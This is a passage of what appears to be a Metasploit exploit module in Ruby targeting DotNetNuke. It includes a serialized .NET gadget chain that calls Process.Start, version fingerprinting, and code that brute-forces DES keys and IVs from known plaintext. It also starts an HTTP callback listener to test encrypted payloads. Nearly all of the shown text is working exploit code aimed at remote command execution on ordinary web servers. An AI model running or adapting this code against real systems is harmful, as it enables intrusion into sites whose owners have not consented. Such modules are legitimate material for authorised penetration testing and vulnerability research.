99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 46, 67, 111,
|
||||
109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109, 112, 97, 114, 101, 114,
|
||||
96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103,
|
||||
44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105,
|
||||
111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
|
||||
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
|
||||
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
|
||||
57, 51, 52, 101, 48, 56, 57, 93, 93, 8, 2, 0, 0, 0, 2, 0, 0, 0, 9, 3, 0, 0, 0,
|
||||
2, 0, 0, 0, 9, 4, 0, 0, 0, 4, 3, 0, 0, 0, 141, 1, 83, 121, 115, 116, 101, 109,
|
||||
46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101,
|
||||
114, 105, 99, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 67, 111, 109,
|
||||
112, 97, 114, 101, 114, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83,
|
||||
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32,
|
||||
86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
|
||||
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80,
|
||||
117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55,
|
||||
97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11,
|
||||
95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116,
|
||||
101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
|
||||
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0,
|
||||
17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0
|
||||
]
|
||||
|
||||
# ObjectStateFormatter serialized data to place after the command payload.
|
||||
@osf_wrapper_end = [
|
||||
6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101,
|
||||
109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108,
|
||||
105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8,
|
||||
68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7,
|
||||
109, 101, 116, 104, 111, 100, 49, 3, 3, 3, 48, 83, 121, 115, 116, 101, 109,
|
||||
46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105,
|
||||
122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108,
|
||||
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 47, 83, 121, 115, 116, 101,
|
||||
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
|
||||
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
|
||||
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 47, 83, 121, 115, 116, 101,
|
||||
109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 46, 77, 101, 109,
|
||||
98, 101, 114, 73, 110, 102, 111, 83, 101, 114, 105, 97, 108, 105, 122, 97,
|
||||
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 8, 0, 0, 0, 9, 9, 0, 0,
|
||||
0, 9, 10, 0, 0, 0, 4, 8, 0, 0, 0, 48, 83, 121, 115, 116, 101, 109, 46, 68,
|
||||
101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97,
|
||||
116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 43, 68, 101, 108, 101, 103,
|
||||
97, 116, 101, 69, 110, 116, 114, 121, 7, 0, 0, 0, 4, 116, 121, 112, 101, 8,
|
||||
97, 115, 115, 101, 109, 98, 108, 121, 6, 116, 97, 114, 103, 101, 116, 18,
|
||||
116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 65, 115, 115, 101, 109, 98,
|
||||
108, 121, 14, 116, 97, 114, 103, 101, 116, 84, 121, 112, 101, 78, 97, 109,
|
||||
101, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 13, 100, 101, 108,
|
||||
101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 1, 1, 2, 1, 1, 1, 3, 48, 83,
|
||||
121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101,
|
||||
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
|
||||
114, 43, 68, 101, 108, 101, 103, 97, 116, 101, 69, 110, 116, 114, 121, 6, 11,
|
||||
0, 0, 0, 176, 2, 83, 121, 115, 116, 101, 109, 46, 70, 117, 110, 99, 96, 51,
|
||||
91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32,
|
||||
109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111,
|
||||
110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114,
|
||||
101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99,
|
||||
75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49,
|
||||
57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83, 121, 115, 116, 101, 109, 46, 83,
|
||||
116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44,
|
||||
32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32,
|
||||
67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44,
|
||||
32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98,
|
||||
55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 44, 91, 83,
|
||||
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
|
||||
115, 46, 80, 114, 111, 99, 101, 115, 115, 44, 32, 83, 121, 115, 116, 101,
|
||||
109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46,
|
||||
48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114,
|
||||
97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101,
|
||||
110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93,
|
||||
93, 6, 12, 0, 0, 0, 75, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86,
|
||||
101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67,
|
||||
117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32,
|
||||
80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55,
|
||||
55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 10, 6, 13, 0, 0, 0,
|
||||
73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110,
|
||||
61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61,
|
||||
110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
|
||||
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
|
||||
52, 101, 48, 56, 57, 6, 14, 0, 0, 0, 26, 83, 121, 115, 116, 101, 109, 46, 68,
|
||||
105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 46, 80, 114, 111, 99, 101,
|
||||
115, 115, 6, 15, 0, 0, 0, 5, 83, 116, 97, 114, 116, 9, 16, 0, 0, 0, 4, 9, 0,
|
||||
0, 0, 47, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116,
|
||||
105, 111, 110, 46, 77, 101, 109, 98, 101, 114, 73, 110, 102, 111, 83, 101,
|
||||
114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101,
|
||||
114, 7, 0, 0, 0, 4, 78, 97, 109, 101, 12, 65, 115, 115, 101, 109, 98, 108,
|
||||
121, 78, 97, 109, 101, 9, 67, 108, 97, 115, 115, 78, 97, 109, 101, 9, 83,
|
||||
105, 103, 110, 97, 116, 117, 114, 101, 10, 83, 105, 103, 110, 97, 116, 117,
|
||||
114, 101, 50, 10, 77, 101, 109, 98, 101, 114, 84, 121, 112, 101, 16, 71, 101,
|
||||
110, 101, 114, 105, 99, 65, 114, 103, 117, 109, 101, 110, 116, 115, 1, 1, 1,
|
||||
1, 1, 0, 3, 8, 13, 83, 121, 115, 116, 101, 109, 46, 84, 121, 112, 101, 91,
|
||||
93, 9, 15, 0, 0, 0, 9, 13, 0, 0, 0, 9, 14, 0, 0, 0, 6, 20, 0, 0, 0, 62, 83,
|
||||
121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99,
|
||||
115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40, 83,
|
||||
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
|
||||
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 6, 21, 0, 0, 0, 62,
|
||||
83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105,
|
||||
99, 115, 46, 80, 114, 111, 99, 101, 115, 115, 32, 83, 116, 97, 114, 116, 40,
|
||||
83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83,
|
||||
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0,
|
||||
10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
|
||||
114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
|
||||
46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
|
||||
32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
|
||||
83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
|
||||
116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
|
||||
109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
|
||||
121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
|
||||
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
|
||||
16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
|
||||
46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
|
||||
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
|
||||
111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
|
||||
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
|
||||
101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
|
||||
121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
|
||||
52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
|
||||
0, 0, 9, 22, 0, 0, 0, 10, 11
|
||||
]
|
||||
|
||||
@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
|
||||
|
||||
# ==================
|
||||
# v9.1.1+ VARIABLES
|
||||
# ==================
|
||||
|
||||
|
||||
@key_charset = "02468ABDF"
|
||||
@verification_codes = []
|
||||
|
||||
@iv_regex = /[0-9A-F]{8}/
|
||||
|
||||
# Known plaintext
|
||||
@kpt = ""
|
||||
|
||||
# Encryption objects
|
||||
@decryptor = OpenSSL::Cipher.new('des')
|
||||
@decryptor.decrypt
|
||||
|
||||
@encryptor = OpenSSL::Cipher.new('des')
|
||||
@encryptor.encrypt
|
||||
|
||||
# final passphrase (key +iv) to use for payload (v9.1.1+)
|
||||
@passphrase = ""
|
||||
|
||||
# ==================
|
||||
# v9.2.0+ VARIABLES
|
||||
# ==================
|
||||
|
||||
# Session token needed for exploitation (v9.2.0+)
|
||||
@session_token = ""
|
||||
|
||||
# ==================
|
||||
# v9.2.2+ VARIABLES
|
||||
# ==================
|
||||
|
||||
# User ID format (v9.2.2+)
|
||||
# Number of characters of user ID available in plaintext
|
||||
# is equal to the length of a GUID (no spaces or dashes)
|
||||
# minus (blocksize - known plaintext length).
|
||||
@user_id_pt_length = 32 - (8 - @kpt.length)
|
||||
@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
|
||||
|
||||
# Plaintext found from decryption (v9.2.2+)
|
||||
@found_pt = ""
|
||||
|
||||
@iv_charset = "0123456789abcdef"
|
||||
|
||||
# Possible IVs used to encrypt verification codes (v9.2.2+)
|
||||
@possible_ivs = Set.new([])
|
||||
|
||||
# Possible keys used to encrypt verification codes (v9.2.2+)
|
||||
@possible_keys = Set.new([])
|
||||
|
||||
# passphrases (key + iv) values to use for payload encryption (v9.2.2+)
|
||||
@passphrases = []
|
||||
|
||||
# char sets to use when generating possible base keys
|
||||
@unchanged = Set.new([65,70])
|
||||
end
|
||||
|
||||
def decode_verification(code)
|
||||
# Decode verification code base don DNN format
|
||||
return String.new(
|
||||
Rex::Text.decode_base64(
|
||||
code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
# ==============
|
||||
# Main function
|
||||
# ==============
|
||||
def exploit
|
||||
|
||||
return unless check == Exploit::CheckCode::Appears
|
||||
|
||||
@encrypted = datastore['ENCRYPTED']
|
||||
verification_code = datastore['VERIFICATION_CODE']
|
||||
if File.file?(verification_code)
|
||||
File.readlines(verification_code).each do |code|
|
||||
@verification_codes.push(decode_verification(code))
|
||||
end
|
||||
else
|
||||
@verification_codes.push(decode_verification(verification_code))
|
||||
end
|
||||
|
||||
@kpt = datastore['VERIFICATION_PLAIN']
|
||||
|
||||
@session_token = datastore['SESSION_TOKEN']
|
||||
@dry_run = datastore['DryRun']
|
||||
key = datastore['KEY']
|
||||
iv = datastore['IV']
|
||||
|
||||
if target['ReqEncrypt'] && @encrypted == false
|
||||
print_warning("Target requires encrypted payload. Exploit may not succeed.")
|
||||
end
|
||||
|
||||
if @encrypted
|
||||
# Requires either supplied key and IV, or verification code and plaintext
|
||||
if (!key.blank? && !iv.blank?)
|
||||
@passphrase = key + iv
|
||||
# Key and IV were supplied, don't try and decrypt.
|
||||
@try_decrypt = false
|
||||
elsif (!@verification_codes.empty? && !@kpt.blank?)
|
||||
@try_decrypt = true
|
||||
else
|
||||
fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
|
||||
end
|
||||
end
|
||||
|
||||
if target['ReqSession']
|
||||
if @session_token.blank?
|
||||
fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
|
||||
end
|
||||
end
|
||||
|
||||
if @encrypted && @try_decrypt
|
||||
# Set IV for decryption as the known plaintext, manually
|
||||
# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
|
||||
# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
|
||||
# For v9.2.2+ it will find an initial base key faster than if padding were enabled.
|
||||
f8_plain = @kpt[0, 8]
|
||||
c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
|
||||
@decryptor.iv = String.new(c_iv.pack("C*"))
|
||||
@decryptor.padding = 0
|
||||
|
||||
key = find_key(@verification_codes[0])
|
||||
if key.blank?
|
||||
return
|
||||
end
|
||||
|
||||
if @target_idx == 4
|
||||
# target is v9.2.2+, requires base64 generated key and IV values.
|
||||
generate_base_keys(0, key.each_byte.to_a, "")
|
||||
vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
|
||||
|
||||
# re-enable padding here as it doesn't have the
|
||||
# same performance impact when trying to find possible IV values.
|
||||
@decryptor.padding = 1
|
||||
|
||||
print_warning("Finding possible base IVs. This may take a few minutes...")
|
||||
start = Time.now
|
||||
find_ivs(@verification_codes, key)
|
||||
elapsed = Time.now - start
|
||||
vprint_status(
|
||||
format(
|
||||
"Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
|
||||
"verification codes in %<e_time>.2f seconds.",
|
||||
n_ivs: @possible_ivs.size,
|
||||
n_codes: @verification_codes.size,
|
||||
e_time: elapsed.to_s
|
||||
)
|
||||
)
|
||||
|
||||
generate_payload_passphrases
|
||||
vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
|
||||
end
|
||||
|
||||
if @passphrase.blank?
|
||||
# test all generated passphrases by
|
||||
# sending an exploit payload to the target
|
||||
# that will callback to an HTTP listener
|
||||
# with the index of the passphrase that worked.
|
||||
|
||||
# set SRVHOST as LHOST value for HTTPServer mixin
|
||||
datastore['SRVHOST'] = datastore['LHOST']
|
||||
print_warning("Trying all possible KEY and IV combinations...")
|
||||
print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
|
||||
start_service
|
||||
vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
|
||||
|
||||
test_passphrases
|
||||
|
||||
# If no working passphrase has been found,
|
||||
# wait to allow the the chance for the last one to callback.
|
||||
if @passphrase.empty? && !@dry_run
|
||||
sleep(wfs_delay)
|
||||
end
|
||||
if service
|
||||
stop_service
|
||||
end
|
||||
print "\r\n"
|
||||
if !@passphrase.empty?
|
||||
print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
|
||||
end
|
||||
end
|
||||
end
|
||||
send_exploit_payload
|
||||
end
|
||||
|
||||
# =====================
|
||||
# For the check command
|
||||
# =====================
|
||||
def check
|
||||
if target.name == 'Automatic'
|
||||
select_target
|
||||
end
|
||||
|
||||
@target_idx = Integer(datastore['TARGET'])
|
||||
|
||||
if @target_idx == 0
|
||||
fail_with(Failure::NoTarget, 'No valid target found or specified.')
|
||||
end
|
||||
|
||||
# Check if 404 page is custom or not.
|
||||
# Vulnerability requires custom 404 handling (enabled by default).
|
||||
uri = normalize_uri(target_uri.path)
|
||||
print_status("Checking for custom error page at: #{uri} ...")
|
||||
res = send_request_cgi(
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
|
||||
print_good("Custom error page detected.")
|
||||
else
|
||||
print_error("IIS Error Page detected.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
# ===========================
|
||||
# Auto-select target version
|
||||
# ===========================
|
||||
def select_target
|
||||
print_status("Trying to determine DNN Version...")
|
||||
# Check for copyright version in /Documentation/license.txt
|
||||
uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
|
||||
vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
|
||||
)
|
||||
year = -1
|
||||
if res && res.code == 200
|
||||
# License page found, get latest copyright year.
|
||||
matches = @cr_regex.match(res.body)
|
||||
if matches
|
||||
year = matches[0].to_i
|
||||
end
|
||||
else
|
||||
vprint_status("Checking version at #{uri} ...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri)
|
||||
)
|
||||
if res && res.code == 200
|
||||
# Check if copyright info is in page HTML.
|
||||
matches = @cr_regex.match(res.body)
|
||||
if matches
|
||||
year = matches[0].to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if year >= 2018
|
||||
print_warning(
|
||||
%q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
|
||||
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
|
||||
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
|
||||
)
|
||||
datastore['TARGET'] = 3
|
||||
elsif year == 2017
|
||||
print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
|
||||
datastore['TARGET'] = 2
|
||||
elsif year < 2017 && year > 2008
|
||||
print_good("DNN Version Found: v5.1.0 - v9.0.1")
|
||||
datastore['TARGET'] = 1
|
||||
elsif year == 2008
|
||||
print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
|
||||
datastore['TARGET'] = 1
|
||||
else
|
||||
print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
|
||||
end
|
||||
end
|
||||
|
||||
# ==============================
|
||||
# Known plaintext attack to
|
||||
# brute-force the encryption key
|
||||
# ==============================
|
||||
def find_key(cipher_text)
|
||||
print_status("Finding Key...")
|
||||
|
||||
# Counter
|
||||
total_keys = @key_charset.length**8
|
||||
i = 1
|
||||
|
||||
# Set start time
|
||||
start = Time.now
|
||||
|
||||
# First char
|
||||
@key_charset.each_byte do |a|
|
||||
key = a.chr
|
||||
# 2
|
||||
@key_charset.each_byte do |b|
|
||||
key[1] = b.chr
|
||||
# 3
|
||||
@key_charset.each_byte do |c|
|
||||
key[2] = c.chr
|
||||
# 4
|
||||
@key_charset.each_byte do |d|
|
||||
key[3] = d.chr
|
||||
# 5
|
||||
@key_charset.each_byte do |e|
|
||||
key[4] = e.chr
|
||||
# 6
|
||||
@key_charset.each_byte do |f|
|
||||
key[5] = f.chr
|
||||
# 7
|
||||
@key_charset.each_byte do |g|
|
||||
key[6] = g.chr
|
||||
# 8
|
||||
@key_charset.each_byte do |h|
|
||||
key[7] = h.chr
|
||||
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
|
||||
elapsed = Time.now - start
|
||||
print_search_status(i, elapsed, total_keys)
|
||||
print_line
|
||||
if @target_idx == 4
|
||||
print_good("Possible Base Key Value Found: " + key)
|
||||
else
|
||||
print_good("KEY Found: " + key)
|
||||
print_good("IV Found: " + @passphrase[8..-1])
|
||||
end
|
||||
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
|
||||
vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
|
||||
return String.new(key)
|
||||
end
|
||||
# Print timing info every 5 million attempts
|
||||
if i % 5000000 == 0
|
||||
print_search_status(i, Time.now - start, total_keys)
|
||||
end
|
||||
i += 1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
elapsed = Time.now - start
|
||||
print_search_status(i, elapsed, total_keys)
|
||||
print_line
|
||||
print_error("Key not found")
|
||||
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
|
||||
vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
|
||||
return nil
|
||||
end
|
||||
|
||||
# ==================================
|
||||
# Attempt to decrypt a ciphertext
|
||||
# and obtain the IV at the same time
|
||||
# ==================================
|
||||
def decrypt_data_and_iv(cipher, cipher_text, key)
|
||||
cipher.key = key
|
||||
begin
|
||||
plaintext = cipher.update(cipher_text) + cipher.final
|
||||
if @target_idx == 4
|
||||
# Target is v9.2.2+
|
||||
user_id = plaintext[8, @user_id_pt_length]
|
||||
if @user_id_regex.match(user_id)
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
# This should only execute if the version is 9.1.1 - 9.2.1
|
||||
iv = plaintext[0, 8]
|
||||
if !@iv_regex.match(iv)
|
||||
return false
|
||||
end
|
||||
|
||||
# Build encryption passphrase as DNN does.
|
||||
@passphrase = key + iv
|
||||
|
||||
# Encrypt the plaintext value using the discovered key and IV
|
||||
# and compare with the initial ciphertext
|
||||
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
|
||||
@passphrases.push(String.new(key + iv))
|
||||
return true
|
||||
end
|
||||
rescue StandardError
|
||||
# Ignore decryption errors to allow execution to continue
|
||||
return false
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def print_search_status(num_tries, elapsed, max_tries)
|
||||
msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
|
||||
print("\r%bld%blu[*]%clr #{msg}")
|
||||
end
|
||||
|
||||
# ===========================
|
||||
# Encrypt data using the same
|
||||
# pattern that DNN uses.
|
||||
# ===========================
|
||||
def encrypt_data(cipher, message, passphrase)
|
||||
cipher.key = passphrase[0, 8]
|
||||
cipher.iv = passphrase[8, 8]
|
||||
return cipher.update(message) + cipher.final
|
||||
end
|
||||
|
||||
# ===============================================
|
||||
# Generate all possible base key values
|
||||
# used to create the final passphrase in v9.2.2+.
|
||||
# DES weakness allows multiple bytes to be
|
||||
# interpreted as the same value.
|
||||
# ===============================================
|
||||
def generate_base_keys(pos, from_key, new_key)
|
||||
if !@unchanged.include? from_key[pos]
|
||||
if from_key[pos] % 2 == 0
|
||||
new_key[pos] = (from_key[pos] + 1).chr
|
||||
else
|
||||
new_key[pos] = (from_key[pos] - 1).chr
|
||||
end
|
||||
|
||||
if new_key.length == 8
|
||||
@possible_keys.add(String.new(new_key))
|
||||
|
||||
# also add key with original value
|
||||
new_key[pos] = (from_key[pos]).chr
|
||||
@possible_keys.add(String.new(new_key))
|
||||
else
|
||||
generate_base_keys(pos + 1, from_key, String.new(new_key))
|
||||
|
||||
# also generate keys with original value
|
||||
new_key[pos] = (from_key[pos]).chr
|
||||
generate_base_keys(pos + 1, from_key, String.new(new_key))
|
||||
end
|
||||
else
|
||||
new_key[pos] = (from_key[pos]).chr
|
||||
if new_key.length == 8
|
||||
@possible_keys.add(String.new(new_key))
|
||||
else
|
||||
generate_base_keys(pos + 1, from_key, String.new(new_key))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# ==============================================
|
||||
# Find all possible base IV values
|
||||
# used to create the final Encryption passphrase
|
||||
# ==============================================
|
||||
def find_ivs(cipher_texts, key)
|
||||
num_chars = 8 - @kpt.length
|
||||
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
|
||||
|
||||
@decryptor.key = key
|
||||
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
|
||||
# Find all possible IVs for the first ciphertext
|
||||
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])
|
||||
|
||||
# Reduce IV set by testing against other ciphertexts
|
||||
cipher_texts.drop(1).each do |cipher_text|
|
||||
@possible_ivs.each do |iv|
|
||||
@decryptor.iv = iv
|
||||
pt = @decryptor.update(cipher_text) + @decryptor.final
|
||||
if !f8regex.match(pt[0, 8])
|
||||
@possible_ivs.delete(iv)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# ==========================================
|
||||
# A recursive function to find all
|
||||
# possible valid IV values using brute-force
|
||||
# ==========================================
|
||||
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
|
||||
charset = "0123456789abcdef"
|
||||
if num_chars_needed == 0
|
||||
@decryptor.key = key
|
||||
@decryptor.iv = pt_prefix
|
||||
pt = @decryptor.update(cipher_text) + @decryptor.final
|
||||
iv = pt[0, 8]
|
||||
if @iv_regex.match(iv)
|
||||
pt = pt_prefix + found_pt
|
||||
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
|
||||
@possible_ivs.add(String.new(iv))
|
||||
end
|
||||
end
|
||||
return
|
||||
end
|
||||
charset.length.times do |i|
|
||||
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
|
||||
end
|
||||
end
|
||||
|
||||
# ========================================
|
||||
# Generate all possible payload encryption
|
||||
# passphrases for a v9.2.2+ target
|
||||
# ========================================
|
||||
def generate_payload_passphrases
|
||||
phrases = Set.new(@passphrases)
|
||||
@possible_keys.each do |key|
|
||||
@possible_ivs.each do |iv|
|
||||
phrase = Rex::Text.encode_base64(
|
||||
encrypt_data(@encryptor, key + iv, key + iv)
|
||||
)
|
||||
phrases.add(String.new(phrase[0, 16]))
|
||||
end
|
||||
end
|
||||
